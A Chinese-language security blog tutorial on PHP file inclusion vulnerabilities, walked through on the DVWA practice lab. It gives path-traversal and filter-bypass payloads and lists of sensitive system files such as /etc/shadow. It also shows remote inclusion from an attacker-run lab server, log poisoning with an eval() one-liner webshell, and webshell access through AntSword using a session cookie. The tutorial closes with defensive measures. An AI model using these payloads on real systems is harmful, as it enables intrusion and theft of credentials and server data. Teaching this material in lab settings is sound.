【网络安全的神秘世界】文件包含漏洞

🌝博客主页:泥菩萨
💖专栏:Linux探索之旅 | 网络安全的神秘世界 | 专接本 | 每天学会一个渗透测试工具
一、概述
文件包含:重复使用的函数写在文件里,需要使用某个函数时直接调用此文件,而无需再次编写
程序开发人员希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用恶意文件,造成文件包含漏洞
在通过php函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,导致意外的文件泄露甚至恶意的代码注入
【包含】:加载和解析
二、分类
1️⃣本地文件包含
- 用户对输入可控且无过滤
 - 可以利用相对路径或绝对路径读取系统
 
1、绝对路径
从根目录开始的完整路径2、相对路径
相对于当前工作目录的路径3、什么情况下使用相对路径?
在网页开发中
 
2️⃣远程文件包含
需要php.ini开启了allow_url_fopen和allow_url_include的配置,包含的文件是第三方服务器的文件
- allow_url_fopen=on:(默认为on)允许从远程服务器或者网站检索数据
 - allow_url_include=on:(php 5.2之后默认为off)允许include/require远程文件
 
3️⃣远程与本地包含的区别
原理相同,但前者只能包含本地服务器上的文件,而后者可以包含远程服务器上的文件
三、php中的四种文件包含函数
require()
include()require_once()
include_once()
 
include:在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行
require:出现错误的时候,会直接报错并退出程序的执行
require_once()和include_once(),与前两个的不同之处在于只包含一次
四、常见的参数
URL中如果出现了如下内容就可能存在文件包含漏洞
?page=
?file=
?home=
 
五、常见的敏感信息路径
windows系统
c:\boot.ini //查看系统版本C:\windows\repaire\sam //存储windows系统初次安装的密码c:\programFiles\mysql\my.ini //MySQL配置文件,内置root密码c:\windows\php.ini //PHP配置文件c:\windows\system32\inetsrc\MetaBase.xml //IIS配置文件
 
Linux/Unix系统
/etc/passwd //账户信息/etc/shadow //账户密码文件/usr/local/app/apache2/conf/http.conf //apache2默认配置文件/usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置/usr/local/app/php5/lib/php.ini //PHP配置文件/etc/httpd/conf/httpd.conf //apache配置文件/etc/my.cnf //mySQL配置文件
 
六、如何发现文件包含漏洞
1、观察URL链接是否包括以下类似的关键字:**page/include/path/file/link/url **等,如果有则可能存在文件包含漏洞
2、观察在URL中,出现的赋值参数=后的内容是否为一个文件,如果是则可能存在文件包含漏洞
3、在关键字处或明显被文件赋值的参数处,尝试进行赋值。如:https://www.baidu.com 或 /etc/passwd
4、配合文件上传漏洞进行验证
七、DVWA演示
1、Low
file include模块,可以注意到有file1.php,file2.php,file3.php三个文件

查看源代码

尝试获取服务器上的文件内容,输入…/…/…/…/…/etc/passwd(多少个…/都行,越多越好)
…/返回上级目录,当返回到根目录时再…/还是根目录

2、Medium
查看源码发现,通过str_replace()进行了过滤

双写绕过
..../..../....etc/passwd
..././..././etc/passwd
 

3、High
限制‘了page参数的开头必须是file或include.php

fnmatch()函数根据指定的模式来匹配文件名或字符串语法:
fnmatch(pattern,string,flags)pattern 必需,规定要检索的模式
string  必须,规定要检查的字符串或文件
flags   可选
 
可以用file://协议进行绕过
http://127.0.0.1/vulnerabilities/fi/?page=file:///etc/passwd
 也可以上传一个有一句话木马的文件,叫:file5.php,再通过文件包含内容包含file5.php
4、Impossible
不存在漏洞,因为写了白名单,其他文件都不可能包含

八、远程文件包含
远程文件包含是指包含第三方服务器上的文件
此处我们使用DVWA的文件包含漏洞包含Upload-Loads中的文件
DVWA:靶机                        172.17.0.2 --> http://10.0.0.158:8089Upload-labs:攻击者自己搭建的服务器  172.17.0.3 --> http://10.0.0.158:8088
 
同一台服务器,开放了不同的端口对外进行服务,因为底层是同一台服务器,所以不算远程文件包含
为什么上面这种情况还算远程文件?——因为这个ip是经过映射后的地址
通过 ip a 命令查看真实IP
DVWA IP: 172.17.0.2
 

Upload-Labs IP: 172.17.0.3
 

把DVWA的安全级别改为【LOW】

新建一句话木马文件info.php

upload-labs靶场禁用js后上传info.txt一句话木马脚本


粘贴图像连接后访问

打开DVWA靶场的【File Inclusion】模块,访问:
10.0.0.158:8089/vulnerabilities/fi/?page=http://10.0.0.158:8088/upload/info.php
 
实际上这个时候包含的是info.php被解析后的结果了也就是upload的php版本信息,可我们想要的是dvwa的php版本信息


我们重新上传info.php把后缀名改为txt


右击——>新建标签页打开图像,查看

再去DVWA靶场访问就会解析dvwa靶场的phpinfo信息
10.0.0.158:8089/vulnerabilities/fi/?page=http://10.0.0.158:8088/upload/info.txt
 

也可以通过蚁剑进行连接

F12打开控制台,获取cookie

打开蚁剑,填写dvwa靶场链接

设置cookie值,测试一下,成功

九、文件包含getshell
1、中间件日志包含绕过
网站本身没有上传点,又有安全设备,就可以使用中间件日志包含绕过
在url后面添加一句话木马,无论访问是否成功,网站的web日志会记录下来
DVWA中,apache2日志文件路径为:/var/log/apache2.access.log
包含日志文件,需要先对文件和目录添加访问权限,让web端有权限去访问
root@c1f28c3146d7# chmod 755 /var/log/apache2
root@c1f28c3146d7# chmod 644 access.log
 
修改完权限后,访问
http://10.0.0.158:8089/vulnerabilities/fi/?page=<?php phpinfo();?>
 
查看日志文件,发现一句话木马被浏览器进行url编码了
cd /var/log/apache2
 
tail access.log
 

使用burp抓包进行修改,将编码字符改为原字符后放包

再次查看日志,写入了完整的一句话木马

去前端dvwa靶场,包含这个日志文件
http://10.0.0.158:8089/vulnerabilities/fi/?page=/var/log/apache2/access.log
 

之后使用同样的方式写入一句话木马<?php @eval($_POST['a']);?>后,用蚁剑进行连接
用蚁剑连接时需要加上cookie

2、配合文件上传getshell
攻击思路:
1、制作图片马
2、上传图片马
3、以文件包含漏洞来执行图片的php代码
 
在dvwa的File Upload模块上传图片码,上传成功,获得上传路径

利用文件包含访问图片码,直接在URL page=后面输入返回的上传路径即可

使用蚁剑进行连接,输入地址:
10.0.0.158:8089/vulnerabilities/fi/?page=../../hackable/uploads/1.png
 
由于文件包含需要登录DVWA,在未登录的状态下,会导致连接不成功,可以直接把已经登录的Cookie信息在编辑shell配置添加到Header头里,这样就可以了
在已经登录DVWA页面,按F12键,获取Cookie

连接成功!

十、文件包含漏洞防御
1、设置白名单
2、过滤危险字符(…/、http)
3、设置文件目录权限
4、关闭危险配置(设置allow_url_include和allow_url_fopen为关闭)
5、严格检查include类的文件包含函数中的参数是否外界可控
相关文章:
【网络安全的神秘世界】文件包含漏洞
🌝博客主页:泥菩萨 💖专栏:Linux探索之旅 | 网络安全的神秘世界 | 专接本 | 每天学会一个渗透测试工具 一、概述 文件包含:重复使用的函数写在文件里,需要使用某个函数时直接调用此文件,而无需再…...
并发编程--volatile
1.什么是volatile volatile是 轻 量 级 的 synchronized,它在多 处 理器开 发 中保 证 了共享 变 量的 “ 可 见 性 ” 。可 见 性的意思是当一个 线 程 修改一个共享变 量 时 ,另外一个 线 程能 读 到 这 个修改的 值 。如果 volatile 变 量修 饰 符使用…...
记录unraid docker更新的域名
背景:级联 一、安装内容 unraid更新docker,之前一直失败,修改网络后可以进行安装。 二、查看域名 查看域名,发现是走github的,怪不得有一些docker无法正常更新 三、解决方法 更改代理,这里为unraid的…...
SpringCloud+Vue3多对多,多表联查
♥️作者:小宋1021 🤵♂️个人主页:小宋1021主页 ♥️坚持分析平时学习到的项目以及学习到的软件开发知识,和大家一起努力呀!!! 🎈🎈加油! 加油!…...
麒麟系统信创改造
麒麟系统信创改造 一、查看操作系统架构下载相应的依赖,压缩包1、查看Linux系统架构、CPU(1)uname -m(2)lscpu(3)cat /proc/cpuinfo(4)arch(5)getconf LONG_BIT(6)dmidecode2、根据Linux系统架构、CPU的差异进行下载相关依赖,看第二项二、以下是根据本系统的aarc…...
【Android】ListView和RecyclerView知识总结
文章目录 ListView步骤适配器AdpterArrayAdapterSimpleAdapterBaseAdpter效率问题 RecyclerView具体实现不同布局形式的设置横向滚动瀑布流网格 点击事件 ListView ListView 是 Android 中的一种视图组件,用于显示可滚动的垂直列表。每个列表项都是一个视图对象&…...
泛域名绑定到wordpress网站二级目录
要将WordPress的泛域名绑定到二级目录,你需要在你的服务器上修改Apache或Nginx配置文件。以下是两种最常见的服务器配置的示例: Apache服务器 编辑你的虚拟主机配置文件,通常位于/etc/apache2/sites-available/目录下。 <VirtualHost *…...
8、从0搭建企业门户网站——网站部署
目录 正文 1、域名解析 2、云服务器端口授权 3、Mysql数据库初始化 4、上传网站软件包 5、Tomcat配置 6、运行Tomcat 7、停止Tomcat 8、部署后发现验证码无法使用 完毕! 正文 当云服务器租用、域名购买和软件开发都完成后,我们就可以开始网站部署上线,ICP备案会长…...
uniapp中出现图片过小会与盒子偏离
结论:在image的父盒子中加上display: flex,原因不清楚 出问题的代码和图片如下: <template><view style" background-color: greenyellow; height: 10rpx;width: 10rpx;"><image :src"imgSrc.seatnull" …...
MySQL练手 --- 1934. 确认率
题目链接:1934. 确认率 思路 由题可知,两个表,一个表为Signups注册表,另一个表为Confirmations信息确认表,表的关联关系为 一对一,且user_id作为两个表的连接条件(匹配字段)&#…...
【OpenCV C++20 学习笔记】扫描图片数据
扫描图片数据 应用情景图像数据扫描的难点颜色空间缩减(color space reduction)查询表 扫描算法计算查询表统计运算时长连续内存3种扫描方法C风格的扫描方法迭代器方法坐标方法LUT方法 算法效率对比结论 应用情景 图像数据扫描的难点 在上一篇文章《基…...
LeetCode:爬楼梯(C语言)
1、问题概述:每次可以爬 1 或 2 个台阶。有多少种不同的方法可以爬到楼顶 2、示例 示例 1: 输入:n 2 输出:2 解释:有两种方法可以爬到楼顶。 1. 1 阶 1 阶 2. 2 阶 示例 2: 输入:n 3 输出&a…...
银河麒麟(arm64)环境下通过docker安装postgis3,并实现数据整体迁移
银河麒麟(arm64)环境下通过docker安装postgis3,并实现数据整体迁移 硬件配置:麒麟9006C 系统环境:银河麒麟桌面版v10 sp1 数据库:postgresql11+postgis3.0 具体的步骤参考https://blog.csdn.net/qq_34817440/article/details/103914574 -----主要操作-----------------…...
C语言 | Leetcode C语言题解之第278题第一个错误的版本
题目: 题解: int firstBadVersion(int n) {int left 1, right n;while (left < right) { // 循环直至区间左右端点相同int mid left (right - left) / 2; // 防止计算时溢出if (isBadVersion(mid)) {right mid; // 答案在区间 [left, mid] 中…...
京东科技集团将在香港发行与港元1:1挂钩的加密货币稳定币
据京东科技集团旗下公司京东币链科技(香港)官网信息,京东稳定币是一种基于公链并与港元(HKD) 1:1挂钩的稳定币,将在公共区块链上发行,其储备由高度流动且可信的资产组成,这些资产安全存放于持牌金融机构的独立账户中,通…...
Vue 实现电子签名并生成签名图片
目录 前言项目结构代码实现 安装依赖创建签名画布组件生成签名图片 总结相关阅读 1. 前言 电子签名在现代Web应用中越来越普遍,例如合同签署、确认表单等。本文将介绍如何使用Vue.js实现一个简单的电子签名功能,并将签名生成图片。 2. 项目结构 项…...
Visual Studio 2022美化
说明: VS版本:Visual Studio Community 2022 背景美化 【扩展】【管理扩展】搜索“ClaudiaIDE”,【下载】,安装完扩展要重启VS 在wallhaven下载壁纸图片作为文本编辑器区域背景图片 【工具】【选项】搜索ClaudiaIDEÿ…...
[CISCN2019 华东南赛区]Web11
进来先做信息收集,右上角显示当前ip,然后有api的调用地址和请求包的格式以及最重要的是最下面的smarty模版,一看到这个就得想到smarty模版注入 测试了一下两个api都无法访问 直接切到数据包看看能不能通过XFF来修改右上角ip 成功修改&#x…...
【图形图像-1】SDF
在图形图像处理中,SDF(Signed Distance Field,带符号的距离场)是一种表示图形轮廓和空间距离的数学结构。它通常用于计算机图形学、文本渲染、碰撞检测和物理模拟等领域。 SDF(Signed Distance Field,带符号…...
苍穹外卖01
0. 配置maven (仅一次的操作 1.项目导入idea 2. 保证nginx服务器运行 (nginx.exe要在非中文的目录下) 开启服务: start nginx 查看任务进程是否存在: tasklist /fi "imagename eq nginx.exe" 关闭ngi…...
【人工智能】神经网络的优化器optimizer(二):Adagrad自适应学习率优化器
一.自适应梯度算法Adagrad概述 Adagrad(Adaptive Gradient Algorithm)是一种自适应学习率的优化算法,由Duchi等人在2011年提出。其核心思想是针对不同参数自动调整学习率,适合处理稀疏数据和不同参数梯度差异较大的场景。Adagrad通…...
Cesium1.95中高性能加载1500个点
一、基本方式: 图标使用.png比.svg性能要好 <template><div id"cesiumContainer"></div><div class"toolbar"><button id"resetButton">重新生成点</button><span id"countDisplay&qu…...
可靠性+灵活性:电力载波技术在楼宇自控中的核心价值
可靠性灵活性:电力载波技术在楼宇自控中的核心价值 在智能楼宇的自动化控制中,电力载波技术(PLC)凭借其独特的优势,正成为构建高效、稳定、灵活系统的核心解决方案。它利用现有电力线路传输数据,无需额外布…...
Android Bitmap治理全解析:从加载优化到泄漏防控的全生命周期管理
引言 Bitmap(位图)是Android应用内存占用的“头号杀手”。一张1080P(1920x1080)的图片以ARGB_8888格式加载时,内存占用高达8MB(192010804字节)。据统计,超过60%的应用OOM崩溃与Bitm…...
【7色560页】职场可视化逻辑图高级数据分析PPT模版
7种色调职场工作汇报PPT,橙蓝、黑红、红蓝、蓝橙灰、浅蓝、浅绿、深蓝七种色调模版 【7色560页】职场可视化逻辑图高级数据分析PPT模版:职场可视化逻辑图分析PPT模版https://pan.quark.cn/s/78aeabbd92d1...
Java毕业设计:WML信息查询与后端信息发布系统开发
JAVAWML信息查询与后端信息发布系统实现 一、系统概述 本系统基于Java和WML(无线标记语言)技术开发,实现了移动设备上的信息查询与后端信息发布功能。系统采用B/S架构,服务器端使用Java Servlet处理请求,数据库采用MySQL存储信息࿰…...
push [特殊字符] present
push 🆚 present 前言present和dismiss特点代码演示 push和pop特点代码演示 前言 在 iOS 开发中,push 和 present 是两种不同的视图控制器切换方式,它们有着显著的区别。 present和dismiss 特点 在当前控制器上方新建视图层级需要手动调用…...
JavaScript 数据类型详解
JavaScript 数据类型详解 JavaScript 数据类型分为 原始类型(Primitive) 和 对象类型(Object) 两大类,共 8 种(ES11): 一、原始类型(7种) 1. undefined 定…...
MySQL JOIN 表过多的优化思路
当 MySQL 查询涉及大量表 JOIN 时,性能会显著下降。以下是优化思路和简易实现方法: 一、核心优化思路 减少 JOIN 数量 数据冗余:添加必要的冗余字段(如订单表直接存储用户名)合并表:将频繁关联的小表合并成…...
MySQL 部分重点知识篇
一、数据库对象 1. 主键 定义 :主键是用于唯一标识表中每一行记录的字段或字段组合。它具有唯一性和非空性特点。 作用 :确保数据的完整性,便于数据的查询和管理。 示例 :在学生信息表中,学号可以作为主键ÿ…...
